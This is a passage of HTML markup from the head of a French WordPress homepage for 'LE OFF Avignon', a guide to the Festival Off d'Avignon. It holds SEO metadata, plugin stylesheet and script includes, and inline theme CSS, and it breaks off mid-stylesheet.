<!DOCTYPE html>
<html lang="fr-FR">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="profile" href="https://gmpg.org/xfn/11" />
<link rel="shortcut icon" href="https://www.avignonleoff.com/wp-content/uploads/2023/04/Favicon-LE-OFF-Avignon.png"
type="image/x-icon"/>
<link rel="apple-touch-icon" sizes="180x180" href="https://www.avignonleoff.com/wp-content/uploads/2023/04/Favicon-LE-OFF-Avignon.png">
<link rel="alternate" type="application/rss+xml" title="LE OFF Avignon RSS Feed"
href="https://www.avignonleoff.com/feed/"/>
<link rel="alternate" type="application/atom+xml" title="LE OFF Avignon Atom Feed"
href="https://www.avignonleoff.com/feed/atom/"/>
<link rel="pingback" href="https://www.avignonleoff.com/xmlrpc.php"/>
<!--[if lt IE 9]>
<script src="https://www.avignonleoff.com/wp-content/themes/soledad/js/html5.js"></script>
<![endif]-->
<link rel='preconnect' href='https://fonts.googleapis.com' />
<link rel='preconnect' href='https://fonts.gstatic.com' />
<meta http-equiv='x-dns-prefetch-control' content='on'>
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//fonts.gstatic.com' />
<link rel='dns-prefetch' href='//s.gravatar.com' />
<link rel='dns-prefetch' href='//www.google-analytics.com' />
<style>.penci-library-modal-btn {margin-left: 5px;background: #33ad67;vertical-align: top;font-size: 0 !important;}.penci-library-modal-btn:before {content: '';width: 16px;height: 16px;background-image: url('https://www.avignonleoff.com/wp-content/themes/soledad/images/penci-icon.png');background-position: center;background-size: contain;background-repeat: no-repeat;}#penci-library-modal .penci-elementor-template-library-template-name {text-align: right;flex: 1 0 0%;}</style>
<meta name='robots' content='index, follow, max-image-preview:large, max-snippet:-1, max-video-preview:-1' />
<!-- This site is optimized with the Yoast SEO plugin v28.5 - https://yoast.com/product/yoast-seo-wordpress/ -->
<title>Accueil - LE OFF Avignon</title>
<link rel="canonical" href="https://www.avignonleoff.com/" />
<meta property="og:locale" content="fr_FR" />
<meta property="og:type" content="website" />
<meta property="og:title" content="Accueil - LE OFF Avignon" />
<meta property="og:description" content="Guide editorial du Festival Off Avignon en grand, choix en clair Avignon Le Off Le guide editorial qui aide a choisir, reserver et vivre le Festival Off d’Avignon sans perdre…" />
<meta property="og:url" content="https://www.avignonleoff.com/" />
<meta property="og:site_name" content="LE OFF Avignon" />
<meta property="article:modified_time" content="2026-05-11T09:16:52+00:00" />
<meta property="og:image" content="https://images.pexels.com/photos/30037004/pexels-photo-30037004.jpeg?auto=compress&cs=tinysrgb&w=1200" />
<meta name="twitter:card" content="summary_large_image" />
<script type="application/ld+json" class="yoast-schema-graph">{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.avignonleoff.com\/","url":"https:\/\/www.avignonleoff.com\/","name":"Accueil - LE OFF Avignon","isPartOf":{"@id":"https:\/\/www.avignonleoff.com\/#website"},"primaryImageOfPage":{"@id":"https:\/\/www.avignonleoff.com\/#primaryimage"},"image":{"@id":"https:\/\/www.avignonleoff.com\/#primaryimage"},"thumbnailUrl":"https:\/\/images.pexels.com\/photos\/30037004\/pexels-photo-30037004.jpeg?auto=compress&cs=tinysrgb&w=1200","datePublished":"2026-04-07T14:26:39+00:00","dateModified":"2026-05-11T09:16:52+00:00","breadcrumb":{"@id":"https:\/\/www.avignonleoff.com\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.avignonleoff.com\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/www.avignonleoff.com\/#primaryimage","url":"https:\/\/images.pexels.com\/photos\/30037004\/pexels-photo-30037004.jpeg?auto=compress&cs=tinysrgb&w=1200","contentUrl":"https:\/\/images.pexels.com\/photos\/30037004\/pexels-photo-30037004.jpeg?auto=compress&cs=tinysrgb&w=1200"},{"@type":"BreadcrumbList","@id":"https:\/\/www.avignonleoff.com\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Accueil"}]},{"@type":"WebSite","@id":"https:\/\/www.avignonleoff.com\/#website","url":"https:\/\/www.avignonleoff.com\/","name":"LE OFF Avignon","description":"","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.avignonleoff.com\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"}]}</script>
<!-- / Yoast SEO plugin. -->
<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel='dns-prefetch' href='//www.googletagmanager.com' />
<link rel='dns-prefetch' href='//pagead2.googlesyndication.com' />
<link rel="alternate" type="application/rss+xml" title="LE OFF Avignon » Flux" href="https://www.avignonleoff.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="LE OFF Avignon » Flux des commentaires" href="https://www.avignonleoff.com/comments/feed/" />
<link rel="alternate" title="oEmbed (JSON)" type="application/json+oembed" href="https://www.avignonleoff.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.avignonleoff.com%2F" />
<link rel="alternate" title="oEmbed (XML)" type="text/xml+oembed" href="https://www.avignonleoff.com/wp-json/oembed/1.0/embed?url=https%3A%2F%2Fwww.avignonleoff.com%2F&format=xml" />
<style id="wp-img-auto-sizes-contain-inline-css">
img:is([sizes=auto i],[sizes^="auto," i]){contain-intrinsic-size:3000px 1500px}
/*# sourceURL=wp-img-auto-sizes-contain-inline-css */
</style>
<style id="wp-emoji-styles-inline-css">
img.wp-smiley, img.emoji {
display: inline !important;
border: none !important;
box-shadow: none !important;
height: 1em !important;
width: 1em !important;
margin: 0 0.07em !important;
vertical-align: -0.1em !important;
background: none !important;
padding: 0 !important;
}
/*# sourceURL=wp-emoji-styles-inline-css */
</style>
<style id="classic-theme-styles-inline-css">
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
/*# sourceURL=/wp-includes/css/classic-themes.min.css */
</style>
<style id="global-styles-inline-css">
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgb(6,147,227) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgb(252,185,0) 0%,rgb(255,105,0) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgb(255,105,0) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 12px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 32px;--wp--preset--font-size--x-large: 42px;--wp--preset--font-size--normal: 14px;--wp--preset--font-size--huge: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgb(255, 255, 255), 6px 6px rgb(0, 0, 0);--wp--preset--shadow--crisp: 6px 6px 0px rgb(0, 0, 0);}:where(body) { margin: 0; }:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}:root :where(.wp-element-button, .wp-block-button__link){background-color: #32373c;border-width: 0;color: #fff;font-family: inherit;font-size: inherit;font-style: inherit;font-weight: inherit;letter-spacing: inherit;line-height: inherit;padding-top: calc(0.667em + 2px);padding-right: calc(1.333em + 2px);padding-bottom: calc(0.667em + 2px);padding-left: calc(1.333em + 2px);text-decoration: none;text-transform: inherit;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}.has-normal-font-size{font-size: var(--wp--preset--font-size--normal) !important;}.has-huge-font-size{font-size: var(--wp--preset--font-size--huge) !important;}
:root :where(.wp-block-icon svg){width: 24px;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-term-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-term-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
/*# sourceURL=global-styles-inline-css */
</style>
<link rel='stylesheet' id='kk-star-ratings-css' href='https://www.avignonleoff.com/wp-content/plugins/kk-star-ratings/src/core/public/css/kk-star-ratings.min.css?ver=5.4.10.5' media='all' />
<link rel='stylesheet' id='contact-form-7-css' href='https://www.avignonleoff.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=6.1.7' media='all' />
<link rel='stylesheet' id='cookie-notice-front-css' href='https://www.avignonleoff.com/wp-content/plugins/cookie-notice/css/front.min.css?ver=3.1.10' media='all' />
<link rel='stylesheet' id='penci-oswald-css' href='//fonts.googleapis.com/css?family=Oswald:400&display=swap&ver=7.0.4' media='all' />
<link rel='stylesheet' id='penci-fonts-css' href='https://fonts.googleapis.com/css?family=Poppins%3A300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C700%2C700italic%2C800%2C800italic%7CRoboto%3A300%2C300italic%2C400%2C400italic%2C500%2C500italic%2C600%2C600italic%2C700%2C700italic%2C800%2C800italic%26subset%3Dlatin%2Ccyrillic%2Ccyrillic-ext%2Cgreek%2Cgreek-ext%2Clatin-ext&display=swap&ver=8.2.1' media='all' />
<link rel='stylesheet' id='penci-main-style-css' href='https://www.avignonleoff.com/wp-content/themes/soledad/main.css?ver=8.2.1' media='all' />
<link rel='stylesheet' id='penci-font-awesomeold-css' href='https://www.avignonleoff.com/wp-content/themes/soledad/css/font-awesome.4.7.0.swap.min.css?ver=4.7.0' media='all' />
<link rel='stylesheet' id='penci_icon-css' href='https://www.avignonleoff.com/wp-content/themes/soledad/css/penci-icon.css?ver=8.2.1' media='all' />
<link rel='stylesheet' id='penci_style-css' href='https://www.avignonleoff.com/wp-content/themes/soledad-child/style.css?ver=8.2.1' media='all' />
<link rel='stylesheet' id='penci_social_counter-css' href='https://www.avignonleoff.com/wp-content/themes/soledad/css/social-counter.css?ver=8.2.1' media='all' />
<link rel='stylesheet' id='elementor-icons-css' href='https://www.avignonleoff.com/wp-content/plugins/elementor/assets/lib/eicons/css/elementor-icons.min.css?ver=5.53.0' media='all' />
<link rel='stylesheet' id='elementor-frontend-css' href='https://www.avignonleoff.com/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=4.2.4' media='all' />
<link rel='stylesheet' id='elementor-post-72-css' href='https://www.avignonleoff.com/wp-content/uploads/elementor/css/post-72.css?ver=1789595200' media='all' />
<link rel='stylesheet' id='elementor-post-17247-css' href='https://www.avignonleoff.com/wp-content/uploads/elementor/css/post-17247.css?ver=1789595200' media='all' />
<link rel='stylesheet' id='penci-recipe-css-css' href='https://www.avignonleoff.com/wp-content/plugins/penci-recipe/css/recipe.css?ver=3.3' media='all' />
<link rel='stylesheet' id='penci-soledad-parent-style-css' href='https://www.avignonleoff.com/wp-content/themes/soledad/style.css?ver=7.0.4' media='all' />
<link rel='stylesheet' id='elementor-gf-local-roboto-css' href='https://www.avignonleoff.com/wp-content/uploads/elementor/google-fonts/css/roboto.css?ver=1742291196' media='all' />
<link rel='stylesheet' id='elementor-gf-local-robotoslab-css' href='https://www.avignonleoff.com/wp-content/uploads/elementor/google-fonts/css/robotoslab.css?ver=1742291199' media='all' />
<script id="cookie-notice-front-js-before">
var cnArgs = {"ajaxUrl":"https:\/\/www.avignonleoff.com\/wp-admin\/admin-ajax.php","nonce":"4b7a3f8a9e","hideEffect":"fade","position":"bottom","onScroll":false,"onScrollOffset":100,"onClick":false,"cookieName":"cookie_notice_accepted","cookieTime":2592000,"cookieTimeRejected":2592000,"globalCookie":false,"redirection":false,"cache":true,"revokeCookies":false,"revokeCookiesOpt":"automatic"};
//# sourceURL=cookie-notice-front-js-before
</script>
<script id="cookie-notice-front-js" src="https://www.avignonleoff.com/wp-content/plugins/cookie-notice/js/front.min.js?ver=3.1.10"></script>
<script id="jquery-core-js" src="https://www.avignonleoff.com/wp-includes/js/jquery/jquery.min.js?ver=3.7.1"></script>
<script id="jquery-migrate-js" src="https://www.avignonleoff.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1"></script>
<link rel="https://api.w.org/" href="https://www.avignonleoff.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://www.avignonleoff.com/wp-json/wp/v2/pages/17247" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.avignonleoff.com/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0.4" />
<link rel='shortlink' href='https://www.avignonleoff.com/' />
<meta name="generator" content="Site Kit by Google 1.187.0" /><!-- HubSpot WordPress Plugin v11.3.75: embed JS disabled as a portalId has not yet been configured --> <style type="text/css">
</style>
<script>var portfolioDataJs = portfolioDataJs || [];</script><style id="penci-custom-style" type="text/css">body{ --pcbg-cl: #fff; --pctext-cl: #313131; --pcborder-cl: #dedede; --pcheading-cl: #313131; --pcmeta-cl: #888888; --pcaccent-cl: #6eb48c; --pcbody-font: 'PT Serif', serif; --pchead-font: 'Raleway', sans-serif; --pchead-wei: bold; } .single.penci-body-single-style-5 #header, .single.penci-body-single-style-6 #header, .single.penci-body-single-style-10 #header, .single.penci-body-single-style-5 .pc-wrapbuilder-header, .single.penci-body-single-style-6 .pc-wrapbuilder-header, .single.penci-body-single-style-10 .pc-wrapbuilder-header { --pchd-mg: 40px; } .fluid-width-video-wrapper > div { position: absolute; left: 0; right: 0; top: 0; width: 100%; height: 100%; } .yt-video-place { position: relative; text-align: center; } .yt-video-place.embed-responsive .start-video { display: block; top: 0; left: 0; bottom: 0; right: 0; position: absolute; transform: none; } .yt-video-place.embed-responsive .start-video img { margin: 0; padding: 0; top: 50%; display: inline-block; position: absolute; left: 50%; transform: translate(-50%, -50%); width: 68px; height: auto; } body { --pchead-font: 'Poppins', sans-serif; } body { --pcbody-font: 'Roboto', sans-serif; } p{ line-height: 1.8; } #navigation .menu > li > a, #navigation ul.menu ul.sub-menu li > a, .navigation ul.menu ul.sub-menu li > a, .penci-menu-hbg .menu li a, #sidebar-nav .menu li a { font-family: 'Poppins', sans-serif; font-weight: normal; } .penci-hide-tagupdated{ display: none !important; } body, .widget ul li a{ font-size: 15px; } .widget ul li, .post-entry, p, .post-entry p { font-size: 15px; line-height: 1.8; } body { --pchead-wei: 600; } .featured-area .penci-image-holder, .featured-area .penci-slider4-overlay, .featured-area .penci-slide-overlay .overlay-link, .featured-style-29 .featured-slider-overlay, .penci-slider38-overlay{ border-radius: ; -webkit-border-radius: ; } .penci-featured-content-right:before{ border-top-right-radius: ; border-bottom-right-radius: ; } .penci-flat-overlay .penci-slide-overlay .penci-mag-featured-content:before{ border-bottom-left-radius: ; border-bottom-right-radius: ; } .container-single .post-image{ border-radius: ; -webkit-border-radius: ; } .penci-mega-thumbnail .penci-image-holder{ border-radius: ; -webkit-border-radius: ; } #logo a { max-width:500px; width: 100%; } @media only screen and (max-width: 960px) and (min-width: 768px){ #logo img{ max-width: 100%; } } @media only screen and (min-width: 1170px){.inner-header #logo img{ width: auto; height:200px; }} body{ --pcaccent-cl: #3f51b5; } .penci-menuhbg-toggle:hover .lines-button:after, .penci-menuhbg-toggle:hover .penci-lines:before, .penci-menuhbg-toggle:hover .penci-lines:after,.tags-share-box.tags-share-box-s2 .post-share-plike,.penci-video_playlist .penci-playlist-title,.pencisc-column-2.penci-video_playlist .penci-video-nav .playlist-panel-item, .pencisc-column-1.penci-video_playlist .penci-video-nav .playlist-panel-item,.penci-video_playlist .penci-custom-scroll::-webkit-scrollbar-thumb, .pencisc-button, .post-entry .pencisc-button, .penci-dropcap-box, .penci-dropcap-circle, .penci-login-register input[type="submit"]:hover, .penci-ld .penci-ldin:before, .penci-ldspinner > div{ background: #3f51b5; } a, .post-entry .penci-portfolio-filter ul li a:hover, .penci-portfolio-filter ul li a:hover, .penci-portfolio-filter ul li.active a, .post-entry .penci-portfolio-filter ul li.active a, .penci-countdown .countdown-amount, .archive-box h1, .post-entry a, .container.penci-breadcrumb span a:hover, .post-entry blockquote:before, .post-entry blockquote cite, .post-entry blockquote .author, .wpb_text_column blockquote:before, .wpb_text_column blockquote cite, .wpb_text_column blockquote .author, .penci-pagination a:hover, ul.penci-topbar-menu > li a:hover, div.penci-topbar-menu > ul > li a:hover, .penci-recipe-heading a.penci-recipe-print,.penci-review-metas .penci-review-btnbuy, .main-nav-social a:hover, .widget-social .remove-circle a:hover i, .penci-recipe-index .cat > a.penci-cat-name, #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info a:hover, #bbpress-forums li.bbp-body ul.topic li.bbp-topic-title a:hover, #bbpress-forums li.bbp-body ul.forum li.bbp-forum-info .bbp-forum-content a, #bbpress-forums li.bbp-body ul.topic p.bbp-topic-meta a, #bbpress-forums .bbp-breadcrumb a:hover, #bbpress-forums .bbp-forum-freshness a:hover, #bbpress-forums .bbp-topic-freshness a:hover, #buddypress ul.item-list li div.item-title a, #buddypress ul.item-list li h4 a, #buddypress .activity-header a:first-child, #buddypress .comment-meta a:first-child, #buddypress .acomment-meta a:first-child, div.bbp-template-notice a:hover, .penci-menu-hbg .menu li a .indicator:hover, .penci-menu-hbg .menu li a:hover, #sidebar-nav .menu li a:hover, .penci-rlt-popup .rltpopup-meta .rltpopup-title:hover, .penci-video_playlist .penci-video-playlist-item .penci-video-title:hover, .penci_list_shortcode li:before, .penci-dropcap-box-outline, .penci-dropcap-circle-outline, .penci-dropcap-regular, .penci-dropcap-bold{ color: #3f51b5; } .penci-home-popular-post ul.slick-dots li button:hover, .penci-home-popular-post ul.slick-dots li.slick-active button, .post-entry blockquote .author span:after, .error-image:after, .error-404 .go-back-home a:after, .penci-header-signup-form, .woocommerce span.onsale, .woocommerce #respond input#submit:hover, .woocommerce a.button:hover, .woocommerce button.button:hover, .woocommerce input.button:hover, .woocommerce nav.woocommerce-pagination ul li span.current, .woocommerce div.product .entry-summary div[itemprop="description"]:before, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author span:after, .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author span:after, .woocommerce #respond input#submit.alt:hover, .woocommerce a.button.alt:hover, .woocommerce button.button.alt:hover, .woocommerce input.button.alt:hover, .pcheader-icon.shoping-cart-icon > a > span, #penci-demobar .buy-button, #penci-demobar .buy-button:hover, .penci-recipe-heading a.penci-recipe-print:hover,.penci-review-metas .penci-review-btnbuy:hover, .penci-review-process span, .penci-review-score-total, #navigation.menu-style-2 ul.menu ul.sub-menu:before, #navigation.menu-style-2 .menu ul ul.sub-menu:before, .penci-go-to-top-floating, .post-entry.blockquote-style-2 blockquote:before, #bbpress-forums #bbp-search-form .button, #bbpress-forums #bbp-search-form .button:hover, .wrapper-boxed .bbp-pagination-links span.current, #bbpress-forums #bbp_reply_submit:hover, #bbpress-forums #bbp_topic_submit:hover,#main .bbp-login-form .bbp-submit-wrapper button[type="submit"]:hover, #buddypress .dir-search input[type=submit], #buddypress .groups-members-search input[type=submit], #buddypress button:hover, #buddypress a.button:hover, #buddypress a.button:focus, #buddypress input[type=button]:hover, #buddypress input[type=reset]:hover, #buddypress ul.button-nav li a:hover, #buddypress ul.button-nav li.current a, #buddypress div.generic-button a:hover, #buddypress .comment-reply-link:hover, #buddypress input[type=submit]:hover, #buddypress div.pagination .pagination-links .current, #buddypress div.item-list-tabs ul li.selected a, #buddypress div.item-list-tabs ul li.current a, #buddypress div.item-list-tabs ul li a:hover, #buddypress table.notifications thead tr, #buddypress table.notifications-settings thead tr, #buddypress table.profile-settings thead tr, #buddypress table.profile-fields thead tr, #buddypress table.wp-profile-fields thead tr, #buddypress table.messages-notices thead tr, #buddypress table.forum thead tr, #buddypress input[type=submit] { background-color: #3f51b5; } .penci-pagination ul.page-numbers li span.current, #comments_pagination span { color: #fff; background: #3f51b5; border-color: #3f51b5; } .footer-instagram h4.footer-instagram-title > span:before, .woocommerce nav.woocommerce-pagination ul li span.current, .penci-pagination.penci-ajax-more a.penci-ajax-more-button:hover, .penci-recipe-heading a.penci-recipe-print:hover,.penci-review-metas .penci-review-btnbuy:hover, .home-featured-cat-content.style-14 .magcat-padding:before, .wrapper-boxed .bbp-pagination-links span.current, #buddypress .dir-search input[type=submit], #buddypress .groups-members-search input[type=submit], #buddypress button:hover, #buddypress a.button:hover, #buddypress a.button:focus, #buddypress input[type=button]:hover, #buddypress input[type=reset]:hover, #buddypress ul.button-nav li a:hover, #buddypress ul.button-nav li.current a, #buddypress div.generic-button a:hover, #buddypress .comment-reply-link:hover, #buddypress input[type=submit]:hover, #buddypress div.pagination .pagination-links .current, #buddypress input[type=submit], form.pc-searchform.penci-hbg-search-form input.search-input:hover, form.pc-searchform.penci-hbg-search-form input.search-input:focus, .penci-dropcap-box-outline, .penci-dropcap-circle-outline { border-color: #3f51b5; } .woocommerce .woocommerce-error, .woocommerce .woocommerce-info, .woocommerce .woocommerce-message { border-top-color: #3f51b5; } .penci-slider ol.penci-control-nav li a.penci-active, .penci-slider ol.penci-control-nav li a:hover, .penci-related-carousel .owl-dot.active span, .penci-owl-carousel-slider .owl-dot.active span{ border-color: #3f51b5; background-color: #3f51b5; } .woocommerce .woocommerce-message:before, .woocommerce form.checkout table.shop_table .order-total .amount, .woocommerce ul.products li.product .price ins, .woocommerce ul.products li.product .price, .woocommerce div.product p.price ins, .woocommerce div.product span.price ins, .woocommerce div.product p.price, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote:before, .woocommerce div.product .woocommerce-tabs #tab-description blockquote:before, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote cite, .woocommerce div.product .entry-summary div[itemprop="description"] blockquote .author, .woocommerce div.product .woocommerce-tabs #tab-description blockquote cite, .woocommerce div.product .woocommerce-tabs #tab-description blockquote .author, .woocommerce div.product .product_meta > span a:hover, .woocommerce div.product .woocommerce-tabs ul.tabs li.active, .woocommerce ul.cart_list li .amount, .woocommerce ul.product_list_widget li .amount, .woocommerce table.shop_table td.product-name a:hover, .woocommerce table.shop_table td.product-price span, .woocommerce table.shop_table td.product-subtotal span, .woocommerce-cart .cart-collaterals .cart_totals table td .amount, .woocommerce .woocommerce-info:before, .woocommerce div.product span.price, .penci-container-inside.penci-breadcrumb span a:hover { color: #3f51b5; } .standard-content .penci-more-link.penci-more-link-button a.more-link, 